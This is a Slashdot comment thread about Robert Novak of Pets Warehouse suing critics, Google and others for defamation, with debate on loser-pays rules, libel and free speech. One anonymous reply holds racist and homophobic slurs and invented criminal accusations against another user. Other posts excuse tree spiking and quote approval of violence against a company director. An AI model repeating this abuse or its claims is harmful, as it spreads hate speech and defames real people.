      Is anyone a lawyer? I recall hearing this someplace, but well, you hear a lot of things these days.

      --
      Sig: "Examine the road over which the fault has passed"
    19. Re:Is SlashDot on this list? by Christianfreak · · Score: 1, Offtopic

      It gets even worse too. Now we have sleeze lawyers that come on TV and advertise class action lawsuits, usually it has to do with medical malpractice or bad prescription drugs. Anyway you call up the number and join the suit. And the people wonder why healthcare costs so much in the US.

    20. Re:Is SlashDot on this list? by Anonymous Coward · · Score: 0

      What's a "looser"?

    21. Re:Is SlashDot on this list? by Anonymous Coward · · Score: 0

      Canada is less EVERYTHING than the US - please do not make silly comparisons. The 4 largest cities in the U.S.(combined) have a population greater than Canada, to say that there are more frivolous lawsuits in the U.S. is more "sue happy" is not saying a lot. In fact refrain from making any comparison to the U.S. without thinking it through first - 99% of the time you will realize that you were just being an efficient master of the obvious

    22. Re:Is SlashDot on this list? by Fjord · · Score: 1

      The RIAA doesn't care. They buy the laws that allow them to file the suits.

      We also need laws to deal with idiotic laws. Oh wait, we already have those amendments to the constitution.

      --
      -no broken link
    23. Re:Is SlashDot on this list? by Anonymous Coward · · Score: 0

      As it turns out, Canadian courts simply throw nuisance cases out before they get anywhere. There isn't any specific law that i'm aware of, but the judges simply won't allow so-called "SLAPP" suits to run the course.

      Neat.

    24. Re:Is SlashDot on this list? by terrymr · · Score: 2

      That's the same in England too ...... in most of the USA costs are only awarded against the losing party if provided for by a contract or by statute(limited).

    25. Re:Is SlashDot on this list? by eunos94 · · Score: 2, Insightful

      Actually, this is not necessarily the case. If the losing party pays both sides legal fees, it doesn't discourage lawsuits or encourage lawsuits, it just makes them more risky.

      Imagine that court costs to each party are $5. If I feel that I need to be compensated $10 for an injustice, previously I would think "Hey, I'll pay $5 to win $10! But I could lose $5 and not gain $10 at all." You weigh your options and sue.

      Now, you could win $10 for the suit and $5 for your fees, but you could also lose $5 for your cost and $5 for their cost. New upside is $15, more incentive to sue. New downside is a lose of $10. Less incentive to sue.

      There are huge amounts of economic research on this. Check out the works of Coase. Extensive economic research in regards to law.

      Anyway, end result, nothing really changes except it makes suing a more risky venture. (which one could argue rich people would undertake more often because they can afford to lose, but that opens a whole huge other economic debate)

    26. Re:Is SlashDot on this list? by Anonymous Coward · · Score: 0

      Unfortunately, you cannot pass laws to _prevent_ stupidity.

      But yes, making it more difficult to file after repeated offenses or a fast track to end such cases would be nice. I think 3 pro se cases and after that you have to pay a very large amount to sue(say 5K$ or more) to file pro se or hire a lawyer.

      It's an abuse of the pro se system which was meant for folks unable to afford lawyers to represent themselves.
      This guy is using it as a cheap way of harrassing people and hopefully getting a small settlement for him to drop the suit and stop bullying them.

      And I thought Homer Simpsom was Cheap.
      " Donuts......."

    27. Re:Is SlashDot on this list? by Dirtside · · Score: 2

      The problem with "loser pays" is that it favors the rich. A rich entity can sue a poor entity, and under "loser pays," at worst, the rich entity will have to pay the poor entity's legal bills, which are going to be tiny compared to the large entity's bills. But if a poor entity brings a valid suit against a rich entity, but gets out-lawyered, then the poor entity now has to pay a gigantic amount of money, which it does not have, since it is poor.

      A better solution is that the loser only pays if they are the plaintiff (not the defendant), and that the loser is only liable for paying the winner's costs up to the amount spent by the loser. So if I sue Microsoft and lose, and I spend $10k and they spend $2m, I'd only be liable for $10k of their legal costs. But if I win, they don't have to pay my legal costs.

      Flipside: If MS sues me, and I win, they'd have to pay up to $2m of my legal cost, but since my legal costs are only $10k, they only pay me $10k. If they sue me, and they win, I don't pay any of their legal costs.

      This allows fewer abuses than our current system, but it's still not very good. I'll expound more on this in my journal today, but the point of this post is that we need to look more carefully at all the possibilities for abuse of the legal system (which includes the fact that a large company is more likely to win a lawsuit, just because it is large, and not because it is right).

      --
      "Destroy science and religion. Science would re-emerge exactly the same; but not religion." - Penn Jillette, paraphrased
    28. Re:Is SlashDot on this list? by Kintanon · · Score: 2

      I burn myself on hot coffee I bought:
      US - sue for >$1.000 Sweden: Get a free coffee


      Stop using this one.
      The situation as, "Coffee melts styrofoam cup and pours onto my crotch giving me 3rd degree burns - Sue for medical costs, be told to fuck off, sue for some rediculous amount." Not to mention that McDs had previously had complaints about their coffee being dangerously hot. I've spilled hot coffee on myself straight out of the pot and it didn't give me 3rd degree burns.

      Kintanon

      --
      Check out JoshJitsu.info for Brazilian Ji
    29. Re:Is SlashDot on this list? by Anonymous Coward · · Score: 0

      It's the opposite of a "tighter".

    30. Re:Is SlashDot on this list? by operagost · · Score: 1
      The Swedish Law Perpetual Motion Machine!

      1. I burn myself on hot coffee
      2. Get a free coffee
      3. Go to step 1

      --

      Gamingmuseum.com: Give your 3D accelerator a rest.
    31. Re:Is SlashDot on this list? by AntiNorm · · Score: 2

      We also need laws to deal with idiotic laws. Oh wait, we already have those amendments to the constitution

      You mean the same Constitution that Congress has been wiping its collective ass with lately?

      --

      I pledge allegiance to the flag...
      of the Corporate States of America...
    32. Re:Is SlashDot on this list? by MerlinTheGreen · · Score: 1

      What you need is a *penalty* for SLAPPing.

      Look at most of the European countries where if the plaintiff loses they pay the other sides legal costs.

      Being lumbered with the other sides costs really puts people off filing lawsuits where they hope the other side will just give up.

    33. Re:Is SlashDot on this list? by beer_maker · · Score: 1
      Yeah, I had a girlfriend like that once ... no, wait, that was somebody else ...

      --
      Hmmm. Your ideas are intriguing to me and I wish to subscribe to your newsletter.
    34. Re:Is SlashDot on this list? by Dyolf+Knip · · Score: 2

      Bear in mind it's perpetual only as long as you have skin left to splash that hot coffee on.

      --
      Dyolf Knip
    35. Re:Is SlashDot on this list? by Fjord · · Score: 1

      That's the one I was thinking of. I didn't know there was another.

      --
      -no broken link
    36. Re:Is SlashDot on this list? by PaganRitual · · Score: 2, Funny

      "We NEED a law to deal with idiotic lawsuits"

      nah, we just need a trapdoor in each court room ...


      Judge : Okay Mr Novak, just stand a little to the left ...

      *Novak moves over to stand on large off colored square in the floor*

      Novak : Okay ... ???

      *judges pressed big red button under desk, trapdoor opens underneath Novak*

      Novak : AIIIIIEEEEE!!!!

      Judge : Case Dismissed ... Smithers, where does that go?

      Smithers : I dont know sir.

      ...

      *somewhere in a far off middle eastern country*
      DANCE!!!DANCE!!!DANCE!!!DANCE!! ... ALALALALALALALALALA

    37. Re:Is SlashDot on this list? by Anonymous Coward · · Score: 0

      There is no absolute truth.

      Is that the absolute truth?

      If it is, then you've contradicted yourself, and you're wrong.

      If it isn't, then there IS absolute truth, and you're wrong.

    38. Re:Is SlashDot on this list? by phorm · · Score: 1

      Amidst the trolls, goatse, and a million other crap posts, there is every so often a voice of dry wit what gives me faith that some of you actually understand what humour is. Thanks for the laugh, much appreciated!

    39. Re:Is SlashDot on this list? by catenos · · Score: 1

      The problem with "loser pays" is that it favors the rich. A rich entity can sue a poor entity, and under "loser pays," at worst, the rich entity will have to pay the poor entity's legal bills, which are going to be tiny compared to the large entity's bills. But if a poor entity brings a valid suit against a rich entity, but gets out-lawyered, then the poor entity now has to pay a gigantic amount of money, which it does not have, since it is poor.

      I cannot speak for the whole of Europe, but only Germany. Here, AFAIK, it depends on the kind of case how the costs are distributed.

      But more important, how much costs a party can make accountable, is quite fixed, i.e. if you decide to pay for 10 layers instead of one, that is your problem. If you decide to pay your laywer 10-fold of what is common for such a case, again, that is your problem. For all legal costs, you want the other party to pay for in addition, you have to proof that they were necessary (e.g. if you hired a private investigator: if his proof was not needed to decide the case, it's your costs. if it was needed, because the other party lied, it is the other party's cost). Of course, the actual rules are more complicated, but you get the idea.

      In most private cases the costs are distributed according to "who owes how much". If you sue for EUR 1000, but only get EUR 700, the other party has to pay 70% of the legal costs and you have to pay 30%, usually. That is, because you were with 70% right, that the other party owed you EUR 1000 and the other party was with 30% right, that it did not owe you that much.

      That way, if someone decides to sue me, but has no stand at all, my risk is only my time and nerves. This system still leaves the advantages to the rich, because they don't mind the costs as much as I, i.e. the risk is the same, but the perceived risk is lower for the rich.

      The advantage of this system is that it is not as easy to scare someone with only a threat to sue (I mean, if it wouldn't hold in court), because defender hires a laywer and knows, there is not much trouble and the costs will be paid for by the offender at the end.

      For real cases, I mean cases, where both side really think they are right, the risk is about the same as in the US, of course.

      --
      Keep an eye on which arguments are silently dropped in replies. Not always, but often times it's very telling.
    40. Re:Is SlashDot on this list? by gfreeman · · Score: 1

      So if I sue Microsoft and lose, and I spend $10k and they spend $2m, I'd only be liable for $10k of their legal costs

      So if we want to bankrupt MS, get a bunch of guys together who can afford to lose $10K each in order to see MS go down, then all sue at once. Even if they lose - MS pays out to lawyers.

      Can't see this happening.

      Gr

      --
      Ceci n'est pas un sig.
    41. Re:Is SlashDot on this list? by mpe · · Score: 2

      The problem with "loser pays" is that it favors the rich. A rich entity can sue a poor entity, and under "loser pays," at worst, the rich entity will have to pay the poor entity's legal bills, which are going to be tiny compared to the large entity's bills. But if a poor entity brings a valid suit against a rich entity, but gets out-lawyered, then the poor entity now has to pay a gigantic amount of money, which it does not have, since it is poor.

      One way to help things is to have the costs awarded based around an assumption that all sides are expected to minimise costs. If someone used a lawyer when they could have been LIP they get nothing, if they used an expensive lawyer they get only up to the cost of an average priced lawyer.
      Another idea would be that the plaintiff spending more on legal costs than the value of the suit being likely to result in the case being dismissed.

    42. Re:Is SlashDot on this list? by mpe · · Score: 2

      Canada has the same basic rules as Britain. In this, the judge decides who should pay the costs. If the judge thinks that the looser had a good case, then he'll not award costs, and therefore each party has to pay their own costs.

      Also the judge can decide the level of costs. Including rejecting any claims for costs where he or she is unconvinced that the winning party actually needed to do whatever to make their case.

      If the looser had a bad case, and they shouldn't have been wasting everyones time, then the winner will be awarded costs, and the looser has to pay their costs. In rare cases, the looser will be awarded costs, so that the winner has to pay the loosers costs.

      A possible situation for the latter would be if the winning party has done something to cause the losing party to incur unnecessary costs.

    43. Re:Is SlashDot on this list? by blibbleblobble · · Score: 3, Insightful

      "We NEED a law to deal with idiotic lawsuits."

      Easiest way: loser pays costs. It works in europe, doesn't waste congressional time trying to do wording for an anti-SLAPP law, and best of all, there are no loopholes in it. If you bring a POS case in Britain, you pay for it yourself.

      Is it not ridiculous that in a country where innocence is presumed, that people have to spend thousands proving it by defending against spurious claims?

      What use is "innocent until proven guilty" if it only applies to the rich?

  22. It's a crap legal defense by Anonymous Coward · · Score: 0


    Sue EVERYBODY and grab whatever cash you can. Hope that many will just roll over rather than fight it - which appears to be working. But the big guns won't roll over so easily.

  23. Freedom of Speech by Synithium · · Score: 1

    Er...constitution anyone?

    1. Re:Freedom of Speech by Wyatt+Earp · · Score: 1

      Freedom of Speech does not protect one from slandering another.

      If this place's service sucks, then the posts and things about it aren't slanderous, but that is for a jury or a judge to determine.

    2. Re:Freedom of Speech by Synithium · · Score: 1

      I don't think an opinion on poor customer service is "slander". If this were the case, everyone would have been sued by now.

      Slashdot could sue us when we bitch about reposts. Or the anti-slashdot site. Opinion is expressly protected by the First Amendment.

      There is also a certain amount of rights granted to the media so that they can run stories that corporations may not like, or politicians for that matter, also granted by the protection of the First Amendment.

    3. Re:Freedom of Speech by Anonymous Coward · · Score: 0, Flamebait


      The person who posts on slashdot.com with the user name "Wyatt Earp" is a homosexual nigger faggot who kills and eats little children. he steals from the poor and is a drug addict. His wife is a filthy skank. He enjoys a good knob slobbing from his man friend on Friday nights.

      Thank you.

    4. Re:Freedom of Speech by Wyatt+Earp · · Score: 1

      I didn't say that an "opinion" about customer service was slander.

      But if the business owner thinks it was, then he does have that right to take them to court.

    5. Re:Freedom of Speech by Anonymous Coward · · Score: 0

      The 1st Amendment applies to *government* action not private action. You don't have freedom of speech in my house, for example unless I give it to you.

      The question here is whether this was libel (written) (not slander, spoken although you could have that too). It is related to defamation, e.g. spreading defamation by writing/printed material.

      Note that it must be both
      1. False
      and
      2. Malicious. For example, if I say that I saw George W Bush and Al Gore making out, and what I really saw was two actors portraying them making out and I didn't know it wasn't them it is not malicious. If I knew it was actors then it was (a) false and (b) malicious to spread it as true.

      There are LOTS of variations here (it is common law) but that is the Cliff Notes (tm) version.

      Commenting about ones experiences with a company are generally protected speech unless provably false. Open and shut. If you say "In my opinion, person X is a scum" it is just an opinion, hence it can not (by definition) be *false*. If I say "I ordered X and it wasn't as described" (and it wasn't as described) then it is not defamatory. If I made a mistake about reading the description it wasn't malicious.
      Enough Tort law for the day. :-)
      IAAA.

  24. It's not much, but just in case... by TrollBridge · · Score: 2, Informative
    Review of the new lawsuit just in case it gets slashdotted.

    Plaintiff:
    Robert Novak,
    d/b/a Pets Warehouse.com

    Defendants:
    Overture Services, Inc.
    Google, Inc.
    Innovative Marketing Solutions, Inc.d/b/a Kanoodle.com
    Neeps, Inc. d/b/a Theferretstore.com
    John Holdefehr d/b/a Judge-for-yourself.com
    Biochemics, Inc. d/b/a Doctordog.com

    COURT DOCKET - Third Lawsuit

    09-24-2002 (1) Complaint filed and summons issued as to defendant(s) Biochemics, Inc., Google, Inc., John Holdefehr, Innovative Marketing Solutions, Inc., Neeps, Inc., Overture Services, Inc. Filing fee $150.00. Receipt number: 7370. Jury trial demanded. filed by pro se Robert Novak. (Attachments: #1 Civil Cover Sheet) (Romano, Daniel) (entered: 09-26-2002)

    09-26-2002 (2) Notice of Report on the filing of an action regarding a patent orTrademark Infringement sent to Washington DC (Romano, Daniel) (Entered: 09-26-2002)

    --
    There's a Mercedes gap too. I want one and can't afford one, but it's not government's job to do anything about it.
  25. *blink* by mystik · · Score: 2

    Any commercial site that uses blink on their tags deserves to be shot dead.

    --
    Why aren't you encrypting your e-mail?
    1. Re:*blink* by milkman_matt · · Score: 1

      Any commercial site that uses blink on their tags deserves to be shot dead.

      Have you tried loading their site? Thanks to slashdot it pretty much HAS been shot dead:)

      -matt

    2. Re:*blink* by DahGhostfacedFiddlah · · Score: 2

      Any commercial site that uses blink on their tags deserves to be shot dead.

      Petswarehouse is in the clear then - they're merely using blink in their stylesheets.

  26. FAR more profitable! by mekkab · · Score: 3, Insightful

    Despite years of my hard work and overtime and brown nosing, my wife has a job offer with a starting salary that would make you cry, and hasn't even graduated law school!

    I'll tell you what the problem is, WHY AREN'T YOU IN LAW SCHOOL?!?!

    P.S. don't forget about the bonus if you meet all your billable hours.

    --
    In the future, I would want to not be isolated from my friends in the Space Station.
  27. Who's next? by mverrilli · · Score: 1

    Will Slashdot be sued next for posting this story?

  28. EFF by gricholson75 · · Score: 2, Insightful

    Doesn't this sound like a job for the EFF to defend these people?

    1. Re:EFF by TrollBridge · · Score: 0
      Does the EFF defend corporations? I was always under the impression that the EFF only defended individuals or non-profit groups.

      Please correct me if I'm wrong.

      --
      There's a Mercedes gap too. I want one and can't afford one, but it's not government's job to do anything about it.
    2. Re:EFF by Loki_1929 · · Score: 2

      Or the ACLU.

      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    3. Re:EFF by Anonymous Coward · · Score: 0

      The ACLU only gets involved when a member of some 'protected' group imagines he/she/it is being wronged by 'the man'.

    4. Re:EFF by N3WBI3 · · Score: 2
      Ill be the first person here to bash the ACLU. But they are most times consistent, idiots for defending nambla.com, but consistent.

      To me they are kida like PETA, I would really like to get behind them, but they always, and I mean always go and do something so stupid it makes me dizzy.

      ACLU: Defend a site that instructs men on how to seduce little boys. PETA: Give money to the ELF a know domestic terrorist organization

      --
    5. Re:EFF by sg_oneill · · Score: 2

      Nah. It's a job fer google-lawyer. They got the bucks.

      --
      Excuse the Unicode crap in my posts. That's an apostrophe, and slashdot is busted.
    6. Re:EFF by No+One · · Score: 1

      Tell ya what. When ELF or ALF actually kill someone, then you can call them terrorists. Until then, the proper word is "vandal". Terrorists injure and kill people, vandals injure and destroy property. Calling these groups "terrorists" is fear-mongering, nothing more. Furthermore, it continues the trend of devaluing the word "terrorist" to mean "someone I, personally, disagree with and want to silence," rather than the truly evil person a terrorist is.

      --

      There is no sin except stupidity -- Oscar Wilde
    7. Re:EFF by Mr.+Slippery · · Score: 1
      ACLU: Defend a site that instructs men on how to seduce little boys.

      Free speech is free speech. What, they should defend the Nazi party's free speech right but not NAMBLA's? It's all or nothing.

      PETA: Give money to the ELF a know domestic terrorist organization
      Not quite. They made a donation to cover some people's legal fees. And some people have an odd defintion of the word "terrorist".
      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    8. Re:EFF by N3WBI3 · · Score: 2
      Hey guy, I hate to tell you but the ELF and ALF uses terror to get what they want. They publically threatin physical harm to those they disagree with. BTW tree spiking which the ELF proclaims as a great thing has killed several men.

      They are Oficially on the terrorist watch list and have been on it long before 9/11..

      --
    9. Re:EFF by N3WBI3 · · Score: 2
      NAMBLA: Im sorry, and I knwo this is not a popular opinion here, but no freedom is absolute, when you trample on someone elses freedom (I dont know by raping their kids) you cant hide behind another freedom.

      Kinda like that southpark: stan "dude I all for tollerance and all that other gay shit, but you have sex with children".

      ELF: Putting spikes in trees which can kill a human being if hit with a saw blade is terror. Threating to burn down someone property because you dont like where they live is terror. And if you give money to the ELF to mop their floors that frees up floor moping money they already had to go destroy someone elses property.

      --
    10. Re:EFF by greymond · · Score: 1

      I think the EFF sticks to "strictly" technology cases, since this is more of an issue of "slander" (total bullshit the guys just a fuck) I don't think they'd do anything other than donate money.

    11. Re:EFF by NeoYoda · · Score: 1

      ACLU does this kind of thing also though. Maybe they would be interested.

    12. Re:EFF by Mr.+Slippery · · Score: 1
      but no freedom is absolute, when you trample on someone elses freedom (I dont know by raping their kids) you cant hide behind another freedom.

      The issue is not sex with children, the issue is speech about sex with children. NAMBLA can believe that sex with children is ok; they can say that sex with children is ok; they can work for changes to the law; they're even allowed to talk about how to (in general) get children to want to have sex with adults. (Yes, personally it gives me the creeps to think about, but it also gives me the creeps to think about people watching televangelists.)

      Putting spikes in trees which can kill a human being if hit with a saw blade is terror.

      Destroying the ecological systems on which we all depend is terrorism.

      Publicized tree-spiking may be considered "destruction of property", since it renders the trees unsuitable for logging (though how a tree ever gets to be considered "property" in the first place is problematic), but it's not terrorism. If someone knowingly goes into a forest that has thus been rendered unsuitable for logging, tries to cut down a tree and gets killed...think of it as evolution in action.

      And if you give money to the ELF to mop their floors that frees up floor moping money they already had to go destroy someone elses property.

      We're talking about legal fees. Legal fees go to defend the accused. You know, those guys we're supposed to presume are innocent until they're proven guilty?

      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    13. Re:EFF by N3WBI3 · · Score: 2
      You can not yell fire in a crowded movie theater because it creates a dangerous environment. It law think about it.

      As for ELF: You obviously are really really far to the left if you think loggers want to destroy the forest, (I suppose you think hunters want to kill all the game as well).

      To say the ELF does not use terror is a joke, spiking a few trees to 'save' the forrest is terror. If your actions (tree spiking) result in the death of a human being who may not have even been in the forest (ofter cut down trees are taken to a mill) you are a murderer and according to people like you thats ok.

      --
    14. Re:EFF by No+One · · Score: 1

      They publically threatin physical harm to those they disagree with. BTW tree spiking which the ELF proclaims as a great thing has killed several men.

      Cite, please, and give in-context quotes. I've seen those claims made with some frequency, but I've never seen anyone able to actually back them up. All I've ever seen is "Well, I heard on TV..."

      ALF's fourth principle is "TO take all necessary precautions against harming any animal, human and non-human." Do you have any real evidence whatsoever that they don't follow that principle?

      I'm not fond of tree spiking either, but the fact is it's not really a terrorist act the way ELF does it. They announce that trees in an area are spiked in order to prevent people from being injured. The goal is to prevent logging, not to actually injure someone, or to create political change. If people get hurt, it's because the company sent loggers into an area despite ELF's warnings, or because someone other than ELF spiked the trees. It's stupid, dangerous, and self-destructive, but calling it a terrorist act is misusing the word to further an agenda. And as I said, I have a problem with that.

      Are the pro-logging organizations that both frequently threaten and actually inflict violence against environmentalists terrorist organizations? How about the cops? If so, why aren't they being targeted like environmental groups are?

      They are Oficially on the terrorist watch list and have been on it long before 9/11.

      Yeah, and so is Take Back the Streets (or at least they were). So either A) holding impromptu block parties is a terrorist act, or B) groups are placed on that list due to leftist political views, rather than actual threat of violence. Which do YOU think is more likely?

      --

      There is no sin except stupidity -- Oscar Wilde
    15. Re:EFF by Anonymous Coward · · Score: 0
      ALF's fourth principle is "TO take all necessary precautions against harming any animal, human and non-human." Do you have any real evidence whatsoever that they don't follow that principle?


      "Chris DeRose(ALF Member): You know I always try to say that certain activities like bombings or arson -- I always stay away from those things only because they are uncontrollable. There are things that I am against personally but I've seen them done and they have worked. For example the Managing Director of HLS in England was beaten and that put the fear of whatever into those people. It did start to shake up what was going on over there. I think the man that did it got 3 to 5 years but something like that, I think, had an effect. Now am I endorsing that? Not publicly but if it happens and it works, then that's great."


      In regards to an arson inident at a polutry farm: "The culprits for the Sims Poultry fire were not crazed arsonists bent on killing and maiming. They are serious political activists employing a strategy of economic sabotage against an industry which tortures and kills animals for profit."


      ALF Dispatch regarding their contamination of Shampoo "This action was done to coincide with World Week for Laboratory Animals and aimed specifically at Procter and Gamble, manufacturers of the shampoo. Why? An estimated 50,000 animals suffer and die at the hands of Procter & Gamble every year in unscientific 'product testing'.

      This action is dedicated to Barry Horne, whose life's work brought attention to the suffering of animals in laboratories everywhere, and whose actions inspired people who care about animals to act on their behalf, even if it means risking your freedom for theirs."


      I can give you hundreds of more examples if you like.

  29. A Modern Day Morality Tale by barberio · · Score: 5, Insightful

    One day, a man was hit by a bicycle. The man got so angry, he demanded the cyclist pay him five dollars. And the cyclist did so because he was too busy to argue.

    Then the man thought 'Maybe I should throw myself in from of another bicycle to get five dollars'. And so he did.

    Five bicycles later, he thinks 'If I get five dollars from bicycles, I can get twenty from cars'. And he threw himself into on comming trafic.

    And was squashed by a pickup truck.

    1. Re:A Modern Day Morality Tale by p3d0 · · Score: 1

      Very cool. I hope Google pickup-trucks this guy.

      --
      Patrick Doyle
      I mod down every jackass who puts his moderation policy in his sig. Oh, wait a sec....
    2. Re:A Modern Day Morality Tale by unicron · · Score: 5, Funny

      The man's family was subsequently awared 10 million dollars. The truck, an 83 GMC half-ton with side saddle gas-tanks, exploded when it hit the man, whose family later sued GMC into bankrutpcy.

      --
      Finally, math books without any of that base 6 crap in them.
    3. Re:A Modern Day Morality Tale by Anonymous Coward · · Score: 0

      dude, you post a lot.

    4. Re:A Modern Day Morality Tale by unicron · · Score: 1, Offtopic

      Anonymous coward? Half these friggin posts are yours, you hypocrite.

      --
      Finally, math books without any of that base 6 crap in them.
    5. Re:A Modern Day Morality Tale by Anonymous Coward · · Score: 0

      Half these friggin posts are yours, you hypocrite.
      WAHT!? that's an outright lie! i am going to sue you and everyone in the room with you at the time that you wrote that! ha!

    6. Re:A Modern Day Morality Tale by stud9920 · · Score: 1
      The man's family was subsequently awared 10 million dollars.[...]whose family later sued GMC into bankrutpcy.
      Wooow dude ! 10 million dollars ! GMC is soooo rich ! Dr Evil must be soooo jealous !
  30. If Oprah's allowed to do it... by GreyWolf3000 · · Score: 2
    ...we should be able to as well.

    Yes, I don't like her as much as the next man, but the big factory farmers here in Texas couldn't pin anything on Oprah (a national celebrity) for saying "I'll never eat beef again" (pp). How does this guy have a case against people posting in public forums? Or reporting it?

    He will lose unless these defendant's can't get decent lawyers. But then again, the guys representing himself. Hence, he'll probably just lose.

    --
    Slashdot: Where people pretend to be twice as smart as they really are by behaving like children.
    1. Re:If Oprah's allowed to do it... by eam · · Score: 1

      Wrong, he will lose unless the defendant's can't afford lawyers.

    2. Re:If Oprah's allowed to do it... by Anonymous Coward · · Score: 0

      Beef is about all she doesn't eat, from the looks of it.

  31. my experience with PET WAREHOUSE dot com by Anonymous Coward · · Score: 4, Funny

    well i got on there and bought a 50 pound bag of "OL' ROY" dog food for my german shepherd general rommel. well, it took like EIGHT MONTHS for it to even get there. so when it did, general rommel was pretty damn hungry. so I opened up the bag of "OL' ROY" and poured a bowl and gave it to him. he ate it. AND THEN I NOTICED that it was not dog food in there, but rat poison! PET WAREHOUSE is shipping RAT POISON in their pet food! general rommel promptly keeled over and croaked.

    i sent a mail to mr. novak and he told me to go eff myself with a shovel. now THAT is what i call customer service. anyway, i've got a new dog now, I called her eva braun, and i will NOT be ordering any more "OL' ROY" from PET WAREHOUSE

    your buddy
    --gbd

    1. Re:my experience with PET WAREHOUSE dot com by sg_oneill · · Score: 2

      Yes! And they sold me BOMBS AND CANCER as substitutes for pet food too. Terrible terrible. My poor dog caught defamation and couldnt enjoy pro-bonos for months after.

      --
      Excuse the Unicode crap in my posts. That's an apostrophe, and slashdot is busted.
    2. Re:my experience with PET WAREHOUSE dot com by Guitarzan · · Score: 1

      But do they sell Puppy Chow brand rat poison? Keep that stuff away from your pets. It IS rat poison, and is harmful to your pets.

      (by the way, I don't remember the actual brand from that SNL reference...)

    3. Re:my experience with PET WAREHOUSE dot com by Anonymous Coward · · Score: 0

      General Rommel? Eva Braun? Do you name all of your pets after prominent figures from Nazi Germany?

    4. Re:my experience with PET WAREHOUSE dot com by Tenebrious1 · · Score: 2

      Really? Awesome. I need to get some for my gf's dog... I hate that nastly little weasel.

      --
      -- If god wanted me to have a sig, he'd have given me a sense of humor.
    5. Re:my experience with PET WAREHOUSE dot com by zoombat · · Score: 3, Informative

      Please note that Pets' Warehouse is the offending company, not Pet Warehouse, a perfectly legitamate business.

    6. Re:my experience with PET WAREHOUSE dot com by Anonymous Coward · · Score: 0

      GEORGE! Come back to TT, we need you!!!

    7. Re:my experience with PET WAREHOUSE dot com by tjw · · Score: 1

      It's only a matter of time before Pets' Warehouse gains enough bad publicity that Pet Warehouse sues _them_. Then maybe we'll actually get to see how Mr. Novak represents himself in court.

      --

      XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UB E-TEST-EMAIL*C.34X
    8. Re:my experience with PET WAREHOUSE dot com by Anonymous Coward · · Score: 0

      Pet Chow brand rat poison

    9. Re:my experience with PET WAREHOUSE dot com by Anonymous Coward · · Score: 0

      Pet Warehouse (no s) got bought out by Dr. Foster & Smith, a big (and reputable) pet supplies company. They are now their fish supplies division. Since they're now part of Dr. Foster & Smith rather than a real company named "Pet Warehouse", I think they won't have as many problems.

    10. Re:my experience with PET WAREHOUSE dot com by Guitarzan · · Score: 1

      Thanks. It'd been a while.

  32. Really... by lewp · · Score: 1

    Pets Warehouse sucks.

    (I don't know anything about Pets Warehouse, I just think it'd be funny to get sued by this loon. Hope he reads Slashdot!)

    --
    Game... blouses.
  33. The ultimate revenge? by Anonymous Coward · · Score: 0

    How do you get even with someone who makes a living selling items off their internet site? Slashdot 'em of course! :sappy hero music:
    The Slashdot effect to the rescue!

  34. why news? by doug_wyatt · · Score: 0

    why is this news? Some guy gets upset and sues everyone and their neighbor in a way that even the most jaded and pessemistic of us know won't fly in court. Yippee.

  35. Re:SUE ME YOU STUPID ASS BITCH! by Anonymous Coward · · Score: 0

    Maybe I should make that a link, heh:

    http://www.bartleby.com/61/8/S0380800.html

  36. Francis Sawyer by MrPCsGhost · · Score: 1

    "Robert Novak is representing himself in this lawsuit, and thus it is effectively costing him nothing to persue this campaign of harassment. "

    You just made the list, buddy! I don't want anybody touchin' my stuff. Anyone touches my stuff, I'll kill ya!

    1. Re:Francis Sawyer by Gerynar · · Score: 1
      Makes me think of the popular quote
      A man who represents himself has a fool for a lawyer and client
      Or something to that affect.
    2. Re:Francis Sawyer by Anonymous Coward · · Score: 0

      >>> A man who represents himself has a fool for a lawyer and client

      Let's just hope that this adage proves as true for Mr. Novak as it did for Dr. Kevorkian.

  37. He is setting up a sting operation to sue others. by Anonymous Coward · · Score: 0

    You agree, through your use of this service, that you will not use this BB to post any material which is knowingly false and/or defamatory, inaccurate, abusive, vulgar, hateful, harassing, obscene, profane, sexually oriented, threatening, invasive of a person's privacy, or otherwise violative of any law. You agree not to post any copyrighted material unless the copyright is owned by you or by this BB.

    Taken from his forum rules. So if you post anything he does not like he probably will sue you.

  38. i think by Datasage · · Score: 1

    I think this suit will draw more bad publicity than what the the peoples comments did... really i never heard of this until i read about the suit today.

    --
    In America we are imprisoned by our fear of them.
  39. Psssst...have you heard? by Anonymous Coward · · Score: 0

    PetsWarehouse not only overcharges but they are very slow to deliver. I think it's because Robert Novak personally molests each animal.

    However, it is a good place to buy Vaseline and Duct Tape.

  40. With apologies to SomethingAwful by LordYUK · · Score: 4, Funny

    "Dear judge-

    Some mean person made very nasty remarks about my crappy online store. Since we now live in a world where every single whining crybaby threatens to sue somebody over the most trivial of things, I feel I want to sue a person who made some comments on their website. Sure, my knowledge of the legal system is little to none, but I really want to sue these guys because they are so mean! I have obviously never done any research on libel, or I would've learned the following information:

    Ideas and opinions, whether true of false, cannot constitutionally be subject to libel claims.

    However, my lawyer, who also works the night shift at the local Dairy Queen, says I can sue for MILLIONS of dollars! I tend to believe him, because I once saw him wear an expensive suit and I think that makes him smart.

    Sincerely,

    Mr Novak"

    --
    This is my sig. Its pathetic.
  41. Haha by quantaman · · Score: 2

    Now this idiot has finally bit off a little more than he can handle and I'm guessing that Google's legal team is going to make short work of him and hopefully put an end to this spree of lawsuits by that moron Robert Novak who owns that useless, cheap, rip-off company Pets Warehouse and ...

    Eh? What that? What do you mean "I'm being served?!?"

    --
    I stole this Sig
  42. Representing himself against Google? by Andy+Dodd · · Score: 2

    Can you say countersued into oblivion?

    Unlike some of his other targets, Google can fight back. He's going to get smacked... Hard. What an idiot. He deserves what he's going to get.

    --
    retrorocket.o not found, launch anyway?
    1. Re:Representing himself against Google? by Anonymous Coward · · Score: 0

      Can you say...."Lawyers on retainer"?

  43. Free speech vs Intentionally-damaging speech... by eyefish · · Score: 3, Interesting

    On the surface, this seems to me like a stupid lawsuit that cannot hold in court, since it is clearly trying to violate the consitutional right of free speech (i.e.: "you cannot say I suck, I'll sue you").

    However, *maybe* (and I repeat, just maybe), if beyond any reasonable doubt the guy can prove that the people who made the first comments made them with the premeditated malicious intention of bringing down his business, then that's another matter. However that still does not give him the right to sue everyone else (if that holds in court, Microsoft could be suing the slashdot parent company on the basis that they're hosting anti-microsoft discussions by some users).

